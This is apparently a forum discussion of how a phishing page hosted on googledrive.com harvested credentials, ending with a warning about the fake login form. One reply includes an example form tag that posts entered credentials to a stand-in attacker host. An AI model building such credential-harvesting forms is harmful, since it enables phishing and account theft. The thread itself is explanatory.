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My guess would be:

Using something like:<form action="somebadsite.com/script.php">

So the credentials entered get submitted to the form which is sent via POST request to an external server. From there they can do whatever they want with the credentials (perhaps save them to a db) then redirect back to google docs.

It's probably using a form tag in the html. The data entered would be sent as a POST request to the external site.

Or it could be trough JavaScript which would Ajax the data to the external site.

The latter would require a cross domain ajax request, I'm sure it is just a regular form POST.

AFAIK, it's not a legitimate login form. It's a attacker-created form that just looks like the login form. The trick is that they used Google Docs to host it on a .google.com server.

Thanks, the article was not very clear about that part.

it wasn't actually hosted on a .google.com domain. It was googledrive.com, which is also owned by Google, but you should never expect a login form on that domain.